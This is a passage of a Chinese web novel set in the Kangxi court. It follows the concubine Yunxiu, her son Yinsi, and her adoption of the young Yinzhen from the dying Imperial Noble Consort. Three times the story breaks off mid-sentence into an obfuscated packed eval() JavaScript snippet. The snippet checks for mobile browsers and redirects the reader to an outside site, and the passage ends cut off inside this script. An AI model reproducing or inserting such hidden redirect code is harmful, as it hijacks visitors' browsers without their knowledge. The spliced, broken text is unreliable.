云秀没办法只能又给他换上厚衣裳,牵着他一道去后院的药圃。 “你最近怎么这么粘额娘?”云秀笑着逗儿子,“年前不是还嚷嚷着自己长大了,就寝都不用额娘陪了吗?” 胤禩脸红起来,也不知道是羞的还是冻的,不过嘴巴还是很硬地说:“我才没有粘额娘,我是担心额娘自己去玩不带我!” 云秀也只是笑不戳穿他,否则她宝贝儿子又得恼羞成怒了。 云秀后院的药圃打理地极好,她还仿照现代的温室大棚把药圃罩了起来,里面烧上炭炉保温,只是现在还没有塑料膜,只能用尽量透光些的毡布,天气好的时候再打开透透光,虽说药材长地肯定没有春天里的好,但是现在是严冬,有总比没有强了。 来都来了,收集完现在还十分瘦弱的黄檗树皮之后云秀便也打算多采一些能用得上的蒲公英,金银花之类的药材带回去。 胤禩很懂事,不会在云秀忙的时候添乱,甚至还能帮她采些药材,云秀从小也没有娇惯胤禩,很多事都是让他自己动手的,而且胤禩自己也乐在其中。 他在药圃里溜达了一圈然后又跑到云秀跟前,蹲在她旁边看她摘蒲公英。 胤禩扭捏了一会,半晌之后才鼓起勇气小声说:“额娘,我爱你。” 云秀手一抖,差点把一株蒲公英连根拔起了。 现在的人大多都很含蓄更不用说宫里面了,都不会把喜欢和爱什么的挂在嘴边,不过云秀来自现代,胤禩小的时候她就经常一天好几遍的围着他说“额娘好爱你”之类的话,所以胤禩早就习惯了,也知道云秀喜欢用我爱你来表达感情,不过他很少说,尤其是大了点之后更不好意思说出口了,所以把云秀吓了一跳。 云秀第一反应就是自家儿子不会中邪了吧,这小傲娇什么时候这么坦诚了,胤禩也小脸通红,但是说出口之后他就破罐子破摔了,蹲在云秀旁边继续说:“我以前一直以为额娘对我好是天经地义的,现在我才知道不是所有的额娘都是这样的。” “额娘,你真好。” 云秀只觉得心里满满当当又热热乎乎地快要溢出来了,她摸了摸胤禩的头笑着说:“额娘也爱你,小笨蛋,现在才知道。” 胤禩缠着云秀撒娇,云秀嫌弃地把他的头推开:“一边玩去,额娘还要采药。” 母子俩正其乐融融,云秀突然听到身后传来了一道低沉的声音。 “你们母子俩在说什么悄悄话呢?” 云秀一惊,转身一看果然康熙正站在他们身后,也不知道听了多久了。 豆蔻递过来一个无奈的眼神,示意是康熙不让她提醒。 云秀赶忙起身,和胤禩一块给康熙行礼问安。 11. 第十一章 “起来吧。” 康熙身量修长,站在药棚里还颇有些拮据,云秀的药也采地差不多了,起身说:“皇上,这药圃里乱糟糟的不成样子,皇上进殿去喝杯茶吧。” “不急。” 康熙却好似对云秀的这个小药圃很感兴趣,俯下腰颇为闲适地拨弄了一番一旁舒展的金银花。 云秀有点摸不明白康熙的心思,他刚刚不是去了承乾宫看皇贵妃吗,怎么突然跑到她这来了? 胤禩看看云秀又看看康熙,眨巴着眼睛有些惊喜又有些忧惧,惊喜的是皇阿玛已经连续两天到他们长春宫来了,能经常看到皇阿玛他自然是高兴的,忧惧的则是在皇阿玛跟前总得小心翼翼,不敢乱说话。 “朕倒从来不知道你在宫里还有这么个药圃,何时建的?”康熙看了一圈,目光又回到了云秀身上。 云秀:“入冬后闲来无事臣妾便着人搭了一个,种了些常见的草药,平日里若是有些病痛也方便些,这天寒地冻的也不用次次都让太医过来一趟。” 太医来一趟也挺麻烦的,要记档留印不说,宣太医过来要一会,把完脉写完脉案再去宫中药房抓药又要一会,这一番折腾下来还不如云秀自己诊脉自己抓药来地方便。 康熙嗯了声,不辨喜怒:“你倒是有颗宽和待人之心。” 云秀笑了笑没接话。 这么多年来她和康熙的相处模式差不多就是这样,康熙问了她就老老实实地回答,说上两句就适时地沉默,然后康熙就会觉得无趣,略坐坐就走了。 不过今天康熙显然是特意过来一趟不会就这么离开,他抬眼看向胤禩。 “胤禩,过来。” 胤禩的后背一下子绷紧了,上前两步规规矩矩地拱手行礼:“皇阿玛。” “你可知道你额娘这是都种了些什么草药?” 康熙对胤禩的语气态度就温和了许多,而且破天荒地俯下身子揽住了胤禩的肩,十分亲密地同他说话。 云秀有些惊讶,而胤禩更是眼睛都瞪地浑圆,自他有记忆起皇阿玛便从没有像这样与他亲近过,他紧挨着康熙,闻着他的皇阿玛身上传来的淡淡龙涎香,嘴角忍不住弯起,有些紧张又激动地一一给康熙指都是些什么药材。 胤禩从小就喜欢粘着云秀,云秀也有意教他辨别一些草药和这些草药都有什么功效,技多不压身,说不准哪天都是能救命的知识,所以胤禩对云秀种的这些草药是手到拈来侃侃而谈,不仅能说出叫什么还能说出有什么功效。 说完小胸膛一鼓一鼓,眼神亮晶晶地抬头看着康熙。 等待着皇阿玛的夸奖。 康熙摸了摸他的头,也没有让胤禩失望,笑着说:“不错,看来你额娘确实对你十分上心。” 康熙对这个儿子碍于他母家的出身和太皇太后疼爱,所以平时明面上是不怎么关注亲近的,甚至都有一些冷淡,不过自己如今的这几个儿子,康熙心里都有一杆秤,把他们的脾性资质也摸地清楚。 胤禩聪明,资质上佳,最难得的是他不骄矜,哪怕是太皇太后和太后如此宠爱他,他在尚书房还是以随和著称,和几个兄弟都能打成一片,不像胤礽和胤禔,对底下几个弟弟都有些颐指气使的高傲。 而且虽然胤禩年纪小,可胤祺和胤祐这两个哥哥都颇有些唯他马首是瞻的意思。 若是日后好好教导,必定也能成为大清的栋梁,太子的左膀右臂。 胤禩很少得到康熙的夸赞,所以现在脸上的喜悦都有些藏不住了,紧急表情管理都没成功,云秀在后面看着,见胤禩难得情绪这么外露的高兴心中也是开心的。 胤禩自小心思就比别的孩子要深一些,譬如五阿哥比他还大上两岁,但总是被这个弟弟骗地团团转,自从胤禩去了尚书房之后更是慢慢地自己学着开始喜怒不形于色,看着这么小一个孩子能聪慧成这样,云秀都不由得感叹怪不得历史上的八爷党能声势浩大到把康熙都吓一跳。 原来从小就是个狠人。 不过云秀作为母亲更多的还是心疼,胤禩才三岁正是该无忧无虑承欢父母膝下的年纪,比起每日绷着一张小脸装大人,她还是喜欢看胤禩像现在这样高高兴兴的。 看来昨天晚上讨好康熙还是有点用的,云秀琢磨道,日后康熙能常来,胤禩也会高兴。 至于她这个老母亲,就只能为了宝贝儿子牺牲一下了。 就当做是上班讨好领导了。 康熙在药圃里转了一圈,顺手还折了两支刚开的辛夷,带着进了长春宫的正殿,一进殿康熙就闻到了一股药材的味道,不过和承乾宫那浓重的汤药味不同,这股味道是药材的清香还带着些甘甜,他抬眼扫了一眼,果然看到榻上的桌上摆着一些晒干的草药。 “臣妾方才在收拾药草,杂乱不堪,让皇上见笑了。”云秀一边说,一边给豆蔻使眼色,让她和半夏赶紧把这些草药给清了。 康熙走到榻边坐下,倒也没什么怪罪的意思,反而觉得有点新奇,嫔妃宫里大多燃的都是各种各样的熏香,虽然好闻,可闻多了也有些甜腻头疼,这草药的味道反倒显得有些别致了。 康熙看到桌上还摆着两包包好的药材,随口问:“这是做什么的,可是太皇太后和太后身体不适?” 半夏动作快已经把桌上堆着的药草收拾下去了,佩兰也赶忙奉了茶水和点心上来。 云秀听到康熙问也没隐瞒:“臣妾今日见四阿哥伤口有些蓄脓,想到在医书中看到过个方子,兴许能有些用,便捡了一副药材出来,想着明日让太医们也看看,若是合用便送去承乾宫,也算是臣妾的一点心意了。” 康熙喝了口茶,动作微顿,抬眼看她:“方才在寒夜里去药圃,也是为了给胤禛摘草药?” 云秀点头。 “臣妾也是做额娘的人,见四阿哥受伤难免有些挂念。” 云秀说地都是实话,而且这些话也没什么不能对康熙说的。 康熙手指搭在碧瓷的茶杯上轻敲了几下,片刻后将其搁在了桌上,语气有些淡又仿佛掺杂了几分作为父亲对儿子的牵念。 “胤禛的伤势有些严重?”康熙问,随后又往一旁抬了抬手,“你坐,别站着了。” 云秀这才在康熙对面落座,胤禩也乖乖地坐在她身旁。 对于胤禛的伤势云秀也只能模糊地说,毕竟她也没切脉,只是看了看给他简单地包扎了一下,瞧着应当还不至于一发不可收拾,而且有太医照看应该没什么大碍,就是得好好修养一段日子。 康熙听完淡淡地点了点头,突然说:“朕方才去承乾宫看了皇贵妃,皇贵妃和朕提起想给胤禛另换一个养母。” 桌上的宫灯中的红烛芯突然爆开,发出一声噼啪的声响,这动静和康熙的话都把云秀吓了一跳。 胤禩听闻也探着脑袋看过来,四哥要换一个额娘吗? 总归只要不是德妃,应该都还不错。 云秀取下灯罩,拿过一旁的银剪修剪了一下烛芯,抬眼就看到康熙透过微红的,跳动的火焰正看着她。 云秀对危险的感知程度还是很高的,康熙这话一出她就知道不对劲,大晚上的康熙看完皇贵妃跑到她这来,又和她提起皇贵妃想给胤禛另寻一个养母的事…… 这个被皇贵妃挑中的倒霉蛋不会就是她吧? 云秀也不是不想养着胤禛,若是能把胤禛养在她身边,和胤禩日日都在一起,那么以后的事她应该是不用整天提心吊胆了,可问题是康熙估摸着是不会同意。 否则就直接下旨了,还跑来她这干嘛? 康熙静静地等着她回话,云秀也只能笑着说:“皇贵妃娘娘一片慈母之心,上天想必也会垂怜,让皇贵妃娘娘快些好起来。” 康熙突然笑了声,不过这笑容很淡,他转了转拇指上的墨玉扳指:“皇贵妃的意思是想让你来抚养胤禛。” “所以,朕想来问问你的意思。” “……” 果然让她猜中了。 这话她该怎么回啊? 云秀还在绞尽脑汁,一旁的胤禩也被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092613|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个消息惊住了。 四哥要来长春宫吗? 康熙看着云秀愁眉苦思的模样笑了声,靠在身后的软枕上,看似十分随意地说:“直言便是,这是家事,朕也不过是同你闲聊。” 既然康熙这么说了,云秀也只能老实地说:“臣妾听皇上的,若是皇上把四阿哥交给臣妾抚养,臣妾自然会用心照看,若是皇上觉得有比臣妾更合适的,想来皇贵妃也会体谅。” 总而言之就是你们神仙打架,不要为难她了,她就老实听旨意呗。 这种老实话康熙不常听,见云秀皱着一张脸为难至极的模样还觉得有些好笑。 他思量了一会儿,脑海中划过皇贵妃弥留之际还为胤禛苦苦哀求,方才云秀冒着寒风去为胤禛采草药的模样,心里竟然有些动摇。 爱子之心不仅是母亲有,父亲也有。 只是他不仅是一个父亲,还是大清的帝王,事事都要以朝局为先。 “胤禛于教养之事上也算是坎坷了,这一次朕要仔细思量。”康熙最终还是随便找了个由头,先把这事给压下来了。 云秀喏喏地应了一声,对这个结果也算是意料之中。 康熙这个点过来便是准备直接歇在云秀这了,和云秀说完胤禛的事之后,便让宫人们先把胤禩带下去了。 半夏和佩兰送走胤禩也很有眼力见地退了下去,还把寝殿的帐幔给放了下来,一下子本来还十分宽绰的寝殿就显得有些逼仄起来,而且还有康熙这么个身形高大又气场极强的人在这,更让云秀觉得有些局促。 康熙抬手捏了捏肩,转头看向云秀,语气和缓了些:“过来,替朕再疏松一下筋骨吧。” “是。” 这活云秀干起来还是很熟稔的,这几年给太后和太皇太后都按摩地不少,两位老祖宗是上了年纪难免的腰酸背痛,可康熙正值壮年,肩颈处的肌肉有的地方硬地像石头一样,有的像扯到了尽头的橡皮筋一样紧绷着,云秀一经手就知道这是常年劳累,又压力极大的缘故。 不过想想,大清都在他一个人肩上担着,也难免。 云秀尽心尽力地为了胤禩给康熙按揉着,康熙闭着眼也觉得舒坦了不少,心里想着云秀乖巧又有这种手艺,日后确实可以多来些。 康熙自认为自己对嫔妃们还是很随和的,尤其是侍寝的时候,从不折腾谁,自然昨夜纯属是许久不曾有的恶趣味,吓唬了云秀一次。 这次念着云秀懂事不多话又尽心竭力地服侍,所以康熙很是体贴,难得让云秀都没有觉得难受,头一次感受到了点趣味,结束叫水的时候云秀泡在水里昏昏欲睡,康熙还难得亲自把人抱了回去。 第二日也没叫云秀早起服侍穿衣,云秀醒来的时候康熙已经离开了。 云秀躺在床上伸了个懒腰,心想这样好像也还行,不算太折磨,看来还是她按摩地卖力,康熙还是个忠厚人呐。 接下来几日宫里就安静了许多,德妃被罚俸禁足,皇贵妃依旧是缠绵病榻但好歹是挺住了这次的命悬一线,还是在宫中养病,胤禛回到了承乾宫也再没什么消息了。 倒是康熙最近隔三差五地就来长春宫一趟,不会每次都留宿但也都是要让云秀帮他舒缓筋骨,云秀莫名地觉得自己在康熙心中的定位可能从小老婆变成按摩技师了。 不过胤禩时常能见到康熙明显高兴了许多,唉,那她当按摩技师就按摩技师吧。 但是最近几天云秀察觉到了有些不对劲。 康熙的心情极差,每次过来都是阴沉着一张脸,说话也不阴不阳的,让人心惊胆战,甚至经过她按摩后舒缓了不少的肩颈处又多了两处肿块,这一看就是最近生了大气。 还好康熙不至于对按摩技师发火,云秀虽然战战兢兢但还是混过去了。 直到有一日,云秀正在宫中边喝茶边和佩兰几个聊这几日宫中的八卦,梁九功突然带着圣旨过来了。 “恭喜贵妃娘娘了,皇上刚刚下旨,让您去承乾宫接上四阿哥,日后四阿哥就养在您这了。” 12. 第十二章 云秀听到梁九功的话惊地一时间都忘了接旨,还是梁九功提醒了一声,云秀这才起身稀里糊涂地接过了圣旨。 她打开来回看了好几遍,还是有些不敢置信。 康熙怎么突然把胤禛塞给她了? 诡异,太诡异了。 云秀思索了片刻,觉得还是得亲自去探探康熙的口风才能安心。 “梁公公,不知皇上现在在何处,本宫想去向皇上谢恩。” 梁九功满脸堆笑,恭敬地回:“皇上如今正在慈宁宫同太皇太后和太后说话,皇上的意思是四阿哥有伤在身,贵妃娘娘精通医术,必定能照料好四阿哥,所以思量再三决定将四阿哥交由您抚养。” “皇上也说了,让您不必急着谢恩,先去承乾宫把四阿哥接回来,皇贵妃那边奴才也已经派人去知会过了。” 康熙给出的理由其实相当于废话可以直接不听,一看就是敷衍的,背后的真实情形肯定不是这么简单。 不巧的是康熙现在正好在慈宁宫,就算云秀想去找太皇太后和太后拿个主意都不行,就只能先硬着头皮按着康熙的旨意,去承乾宫接胤禛了。 没成想刚穿过御花园,正好碰上了要去长春宫寻她的苏麻喇姑。 云秀看到苏麻喇姑眼前一亮,赶忙问:“姑姑,可是太皇太后有什么指示?” 苏麻喇姑一如往常地笑着说:“正是太皇太后有话让奴才带给贵妃娘娘。” “太皇太后说让您安心地去把四阿哥接回去,好好照顾就是,别的都不用多想。” 云秀想到康熙此时正在慈宁宫,而且按照太皇太后对宫中的掌控程度,前因后果她老人家想必已是十分明了了,特意让苏麻喇姑过来一趟怕也是担心她自乱阵脚。 既然太皇太后都发话了,云秀就更没什么好担忧的了。 “成,太皇太后的意思我明白了。”云秀笑着说:“明儿我再亲自去慈宁宫谢过两位老祖宗。” 苏麻喇姑看了眼云秀身后的宫人,发觉跟着的是豆蔻和佩兰,又问:“贵妃娘娘可是吩咐半夏去尚书房接八阿哥下学了?” 云秀不明白为何苏麻喇姑突然提起这个,但她还是老实地点了点头。 康熙的这道旨意时辰卡的也是巧,再过一刻钟尚书房便要下学了,云秀去承乾宫接胤禛自然就顾不上胤禩了,只能让半夏去尚书房等着了。 “太皇太后吩咐了奴才,知会过贵妃娘娘后便去尚书房接上五阿哥和八阿哥去慈宁宫。”苏麻喇姑神色和蔼,笑吟吟地说:“太皇太后说了,您怕是一时半会出不了承乾宫,今儿午膳便让八阿哥在慈宁宫用吧。” 云秀眨了眨眼,略微有些不解。 她不过是去接一下胤禛,也费不了多少时辰吧,而且据康熙所说还是皇贵妃主动提出想把胤禛交给她抚养的,想来也不会阻挠。 不过太皇太后一向都是有她的道理,胤禩去慈宁宫也跟回长春宫没什么两样,云秀便也没纠结这事,和苏麻喇姑告别之后,就往承乾宫去了。 承乾宫中自从皇贵妃病重需要静养之后,院中也是难得地人来人往的忙碌,皇贵妃接到康熙的旨意当即精神便振作了些许,赶忙让银丹和青黛去为胤禛收拾东西,还千叮咛万嘱咐一定要把胤禛用惯了的东西都带全了。 看这模样显而易见就是抱着要让胤禛长久地在长春宫住下去的打算了。 青黛一面应着皇贵妃的话,一面还有些不解,几个月前送四阿哥去德妃那的时候,虽也是娘娘自己向皇上提的,可娘娘却显然没有这次这么热衷,颇有些忧心忡忡地把四阿哥送走,如今却难得见娘娘脸上有些欣慰的模样。 “银丹,胤禛现在如何,醒了吗?” 皇贵妃的精神也好了些,难得披上了厚厚的外裳坐了起来,她靠坐在床头咳了几声,又问起胤禛的情形。 银丹给皇贵妃倒了温水,服侍着她喝下润喉,这才回:“娘娘放心,四阿哥的伤已经没什么大碍了,一早便醒了在屋里读书,刚刚还想来给娘娘请安,奴婢见娘娘没醒,便先让四阿哥回去歇着了。” 胤禛如今在承乾宫养伤,而且还有康熙的旨意在伤势没好之前不用回尚书房,但是胤禛自己勤学上进怕耽误学业,哪怕是不能去尚书房,等到他伤口略好了些就又开始在寝殿里苦读了。 皇贵妃听闻,眼睫微颤,胤禛想要来见她,应该也是听到外头的动静了。 从她把胤禛接回来之后,他们两人就没怎么见过面,一是她和胤禛都在卧床修养,二则是她也有些不知该如何面对胤禛。 可是如今若是再不说说话,下一次就不知道是什么时候了。 “让胤禛过来吧,本宫和他说说话。” 皇贵妃撑着床榻旁的紫檀木费力地坐起来,银丹赶忙上前搀扶,又听到皇贵妃说:“给本宫上些妆,别吓着胤禛了。” 她病了多日,想来如今脸上也是灰败无比,这副模样还是不要让胤禛看着了。 她希望在胤禛心里自己还如同当年一样的美丽高贵。 青黛眼底含泪点了点头,取了脂粉来为皇贵妃遮盖了一下苍白的脸色又涂了唇脂,一下子皇贵妃的精神就看着好了许多。 随后便有宫人去请了胤禛过来。 胤禛自从那日回到承乾宫之后,便再没见过皇贵妃,他心里清楚在八妹走后,自己和皇额娘之间也已然回不到几年前的模样,不过皇额娘总是待他好的,衣食住行上从不亏待,哪怕后来有孕生下了八妹,也不至于全盘忽略他。 只不过对如今还不到六岁的胤禛来说,生母偏心幼弟,养母有了自己的亲生孩子也对他关心不如往常,总让他心中有些挫败和委屈,好似他是那个永远都排在弟妹后面,祈求着指缝中漏下来的一点疼爱似的。 但皇贵妃和德妃相较,胤禛显然还是对皇贵妃的感情更深些,如今皇贵妃病重,他也时常挂念。 故而在时隔多日之后又踏进皇贵妃的寝殿之时,他颇有一种恍如隔世之感,尤其是看着皇贵妃靠坐在床头温柔地看着他笑意盈盈的时候,更让他恍惚间想起了幼时皇贵妃抱他在膝上看院中檐下雏鸟归巢时的情景。 只是如今物是人非。 胤禛敛眉,上前规规矩矩地行礼问安。 “胤禛给皇额娘请安。” 皇贵妃虽然上了妆,气色看着好了不少,声音还有些虚:“快起来,到皇额娘跟前来。” 胤禛起身,上前坐到了床边,皇贵妃看了一旁的青黛和银丹一眼,两人便默契地退了下去,还将殿中剩余的宫人也一并带了下去。 “皇额娘病了这些时日,是不是丑了许多?”皇贵妃抬手摸了摸自己因为瘦削已经有些凹陷进去的脸颊,叹息道。 胤禛抬起脸仔细地看着这张熟悉而如今又略显地陌生的脸轻轻地摇了摇头。 “皇额娘一如往常,宫里的其他娘娘都比不上。” 皇贵妃爱美,生地也漂亮,以前最爱听宫人们夸赞的就是她艳压群芳,宠冠六宫。 可如今皇贵妃自己也知道是今时不同往日了。 “你什么时候也学会撒谎哄皇额娘了。”皇贵妃笑了声,握住了胤禛的手,目光轻柔又疼惜地说:“前一阵在永和宫让你受委屈了,你别怪皇额娘当日把你送回去,皇额娘也没想到德妃……” 当时皇贵妃病重自觉命不久矣,她再三思虑之下也是主动向康熙提出想把胤禛送回永和宫让德妃照顾,一来胤禛毕竟是德妃的亲生儿子,待她死后也是要回去的,二来这些年她确实有意不让德妃与胤禛亲近,想来德妃应当也是恨极了她,虽说是亡羊补牢,但她还是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092614|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在弥留之际向德妃示好,只求德妃能好好照料胤禛。 只是她没想到会闹成了这样。 胤禛听到皇贵妃提起德妃和他这段日子在永和宫的经历脸上也没什么表情,一张小脸绷地紧紧的:“儿臣知道,皇额娘是为了儿臣好,不敢有怨怪之心。” 皇贵妃望着胤禛,心中涌上酸楚,不知道从什么时候起胤禛和她说话就这么规矩又疏离了。 不过总归也是她自己造的孽。 既养了他不让生母和他亲近,又在有孕之后忽视了他许多,胤禛的性子又自小便敏感,现在想来自己真是大错特错。 皇贵妃心绪郁结,猛地咳嗽起来,胤禛大惊失色赶忙去给皇贵妃倒水,皇贵妃抿了几口温水才又缓了过来,强撑着和胤禛说了这些话似乎也到了她的极限了。 她喘息着继续嘱咐胤禛:“慧贵妃是个忠厚人,由她来照顾你额娘很放心,待你去了长春宫之后,要记着对慧贵妃敬重,对八阿哥友爱,不要同八阿哥起冲突,知道了吗?” 胤禛抿唇垂下眼,片刻后点了点头。 他又要被送走了,又要再寄人篱下,不知道这宫中到底哪里才是他的容身之地。 恰在这时寝殿门外传来银丹的声音:“娘娘,慧贵妃到了。” 皇贵妃怔了怔,旋即又露出一个释怀又带着些惨然的微笑,她看着胤禛站起身似乎是想要同她告别,这一刻她也不知哪来的力气,突然伸手抓住了胤禛的胳膊。 胤禛也吃了一惊,生怕扯到皇贵妃如今虚弱的身子,赶忙又顺势坐下扶住她。 皇贵妃的手滑落又最后一次紧紧地握住了胤禛的小手,眼泪也滑落下来:“胤禛,是额娘对不住你,额娘如今快要走了,不过就算额娘到了天上,也会一直一直保佑着我们胤禛的。” 说完她还想抬手再摸一摸胤禛的头,胤禛的眼眶一酸,多年的母子情谊终究是做不了假的,他低下头,让皇贵妃像他幼时一样,轻轻地抚摸着他的头发。 皇贵妃卸了力似乎是完成了心愿,往后跌落在枕上,她气息微弱:“你去吧,慧贵妃在外面等着你。” 胤禛缓缓起身,随后向皇贵妃行了一个大礼才慢慢地转身朝殿外走去,快走到门前时又听到皇贵妃发出一声短促的叫喊。 “胤禛!” 胤禛回头,看到皇贵妃擎着头看过来,见到他回头也只是笑了笑:“去吧。” 云秀到承乾宫的时候只见到宫人们都守在门外,皇贵妃的贴身侍女说胤禛正在里头和皇贵妃叙话,云秀对此也十分理解,毕竟胤禛马上要离开了,皇贵妃定然是万分不舍的。 她等了一会,寝殿的门就开了,胤禛穿着一身墨绿色绣着翠竹的衣裳从殿中走出,他病了几天让本就有些瘦的身子更单薄了,加上他气质就是执着挺直,和衣裳上的雪竹交相呼应,衬得他更清瘦挺拔了。 胤禛出门就看到慧贵妃正等在廊下,他和慧贵妃其实并不算太相熟,但也时常听宫人说起慧贵妃是个最和善温柔的人,八弟似乎也随了她,性子随和,在尚书房极有人缘,前两次她给自己包扎的时候也是那样,动作轻柔说话也温声细语,所以胤禛对云秀的印象还不错。 只是胤禛没想到有一天他竟然会到长春宫去,养在慧贵妃膝下,还和八弟住在一起。 胤禛恭敬地上前给云秀问安,云秀把他扶起来,打量了一下他的神色笑着说:“嗯,看着精神好了不少,想来伤也好地差不多了,不过还是得多穿几件衣裳,别又发热。” 胤禛听着云秀关心的话,眼睛动了动,然后点了点头。 云秀摸了摸他的头,见青黛上前福了福身:“贵妃娘娘,皇贵妃娘娘有些话想要和您交代。” 得,太皇太后还真是神机妙算,她果然是一时三刻出不去承乾宫了。 13. 第十三章 承乾宫云秀一年前还常来,倒不是她和皇贵妃关系多么亲近,只是宫中没有皇后,皇贵妃位同副后,合宫嫔妃都得来晨昏定省,直到皇贵妃身怀有孕,因着孕期中就百般不适,皇贵妃小心翼翼地保胎,便免了请安。 自此之后云秀就没再来过承乾宫了。 如今再踏入承乾宫看到殿中一片空荡,一向傲气明艳的皇贵妃也成了现在骨瘦如柴的模样,云秀心中还是十分感慨的。 她行完礼之后,皇贵妃就叫了起,让她上前去。 方才皇贵妃和胤禛说了会话已经没什么气力了,仰靠在枕上白皙纤弱的脖颈软软地垂着,云秀见状拿了一个软枕垫在皇贵妃腰部往上三寸的位置,又托着她的脖颈垫了一个坚硬些的玉枕。 “娘娘可觉得好些了?”云秀问。 皇贵妃经云秀这么一摆弄还真觉得胸腔中瘀结的气顺了一些,也有了些力气。 “常听人说你医术高明,如今看来果然不假。”皇贵妃如今对云秀态度自然是十分和善的,她抬了抬手,温声说:“坐吧,陪本宫说说话。” 云秀颔首,在一侧坐下。 “你在蒙古长大,这医术是从哪儿学来的?”皇贵妃同云秀闲聊道。 云秀面不改色:“是入宫之后看了些医书,同太医们学了些。” 原身确实是没学过医的,云秀穿来的时候正好是原身刚被送进宫中,当时她还尚且不满十岁,虽然和太皇太后,太后都是亲戚,但两个老祖宗入宫多年也没见过云秀,不清楚她的脾气秉性,所以才让她混了过去。 至于和太医学医术自然也是云秀找的幌子,太皇太后见她对医术感兴趣倒也没拦着,在宫里懂些医道总是有好处的,只是没想到云秀竟然在医术上十分有天赋,学的有模有样的。 皇贵妃入宫比云秀晚地多,她是在孝诚皇后赫舍里氏薨逝后才入宫的,那时钮祜禄贵妃的姐姐孝昭皇后还在,只不过那时钮祜禄氏还没有封后,是在赫舍里氏薨逝后执掌六宫多年的贵妃。 佟佳氏一入宫便封了妃位,转过年来康熙正式册封了钮祜禄氏为皇后,佟佳氏由妃位晋封贵妃,也是在那一年十五岁的云秀从慈宁宫搬了出去正式册封为慧妃,入了康熙的后宫。 如今想想都已经过去了七年了。 皇贵妃显然也是想起了刚刚入宫的时候,她的眼神悠长似乎是在回想当年:“论起来虽然你比本宫还小上一岁,却是宫中资历最深的嫔妃了。” “想当年孝昭皇后还在的时候,咱们三个还时常一同说话,现在想想也已经是五年前的事了。” 康熙早年间对妃子的位分很是吝啬,基本都是按着家世排下来的,那时候皇后之下便是佟佳贵妃,再往下的妃位上只有云秀一个人,那时惠妃宜妃和荣妃还是嫔位,德妃入宫晚又是宫女出身,甚至还是贵人。 宫里的高位嫔妃一共就只有佟佳氏和云秀,孝昭皇后人其实不错,挺宽和待下的,但云秀那时太扎眼,要知道在康熙之前的大清皇帝娶的皇后都是出自蒙古的,甚至康熙的元后赫舍里氏当年册封的时候都被不少宗室嫌弃出身低配不上皇后之位。 云秀这一支往上数都不知道出了多少位皇后。 太后,太皇太后,满洲入关后的第一位皇帝皇太极的元后哲哲都是云秀嫡亲的祖辈,更不用提太皇太后这位定海神针还在,云秀又是一入宫养在她老人家膝下的。 所以虽然孝昭皇后和皇贵妃也是出身满洲豪门,出身上甚至都隐隐差了云秀一截,云秀正式册封之后,这两人便对她有些敌意,起初甚至想着抱团一同对付云秀,直到过了半年有余,这两人才发现云秀性子懒散即使封妃了还是像以前一样往慈宁宫里扎,对争宠毫无兴趣,而且康熙也对她兴致平平,不怎么宠幸,这两人才算松了口气,转而孝昭皇后和皇贵妃的联盟迅速瓦解,两人又互撕起来了。 可惜孝昭皇后也寿数不永,册封皇后的第二年便去世了。 佟佳贵妃一跃成了后宫之首,后头年轻的嫔妃如宜妃德妃之流又如雨后春笋一般冒了出来,佟佳贵妃自然也顾不上云秀了,云秀也乐得摸鱼,一直就这么平平稳稳地混到了如今。 所以云秀和皇贵妃以及她刚刚提到的孝昭皇后确实是相识多年,但并没什么交情,更没什么恩怨,早些年的那些事云秀也没往心里去,而且碍于太皇太后她们也没敢太过分。 皇贵妃提这些显然是想和云秀拉近关系,好说话,人之将死,其言也善,云秀自然也不会不给她面子。 “臣妾和皇贵妃是旧相识了,臣妾还记得皇贵妃刚入宫时去慈宁宫请安还给臣妾带了一支十分精致的梅花琉璃戏蝶钗。” 云秀笑着说:“那钗臣妾很喜欢,现在还在妆匣里好好收着。” 这话倒是实话,皇贵妃当年送的那只蝴蝶钗真是十分漂亮,云秀时常戴。 皇贵妃闻言也笑起来:“你既喜欢,我这还有许多,回头你挑一些都带回去。” 云秀谢过之后,皇贵妃才终于切入了正题。 “你方才说咱们是旧相识,本宫也是这么想的,所以才放心把胤禛托付给你。”皇贵妃紧紧地盯着云秀,眼神中甚至还有一丝恳求:“胤禛这孩子自小性子就倔强,不算什么讨人喜欢的孩子,但是他明礼义,分是非,也绝不是什么无理取闹的孩子。” “日后他养在你那,还望你能多包涵。” 云秀听罢也有些动容,她点了点头,郑重地说:“娘娘放心,我会好好照顾胤禛的,对他也会和胤禩一样,绝不会亏待他。” 皇贵妃听了露出一个笑容,她靠在枕上感慨地说:“你方才说的我没有做到,德妃也做不到,但是我相信你说的话。” 或者说她实在是没有第二条路可选了。 她时日无多,只能为胤禛安排到这种程度了。 云秀:“臣妾知道娘娘对四阿哥很用心,四阿哥心里也明白的。” 看那日在永和宫,胤禛在皇贵妃身边时确实整个人安心了不少就知道他定然也是依恋皇贵妃的。 “我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 